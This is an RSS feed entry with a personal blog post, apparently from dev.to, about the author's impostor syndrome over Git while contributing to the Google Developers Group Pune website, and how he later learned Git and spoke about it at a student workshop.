&lt;p&gt;When I started, I worked in projects with people who used to use Git, but I just looked for a way around. For me, it worked for a pretty long time, and people used to think that I know about it and have worked on it and I too have never denied it. But then came a project, this was the website for Google Developers Group, Pune. It was an open-source project, and I was so excited that I was going to collaborate with like minded people. Poor me, I was unaware of what’s in store for me. So, I was assigned some work by one of the moderators and I started working and it took a couple of days to complete. Then the problem occurred during uploading the files to the git repository in the development branch and pull some changes that others have made to move forward with the project. I tried everything, at least I thought that, but nothing seemed to happen. I was stuck.&lt;/p&gt;

&lt;p&gt;This time, I couldn’t find my way around. At this moment, I felt, I did not belong here. I reached till this place but shouldn’t have been. I experienced imposter syndrome. But the work had to be done, so then I asked the moderator for help as I couldn’t find a way to do it. He was super awesome and kind, helped me and asked me to brush up some skills to work with git and sent me some learning materials.&lt;/p&gt;

&lt;p&gt;I was thankful to him but at the same time, I was super embarrassed. At this point, I decided to learn git and have been using it since then.&lt;/p&gt;

&lt;p&gt;Couple of weeks ago, I was allowed to talk about git and it’s workflow at an online workshop, conducted by SICSR ACM Student Chapter. I felt really good about doing something I never thought of, and couldn’t believe that this is the same guy from one and a half years ago.&lt;/p&gt;

&lt;p&gt;Everyday you learn and everyday you grow. Don’t let anything stop you, not even your own self!&lt;/p&gt;

&lt;p&gt;That's the event poster!&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fp5p2vf4bvtd5p1ouqi4x.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fp5p2vf4bvtd5p1ouqi4x.jpg" alt="Event Poster"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>git</category>
      <category>event</category>
      <category>impostersyndrome</category>
      <category>speaker</category>
    </item>
  </channel>
</rss>
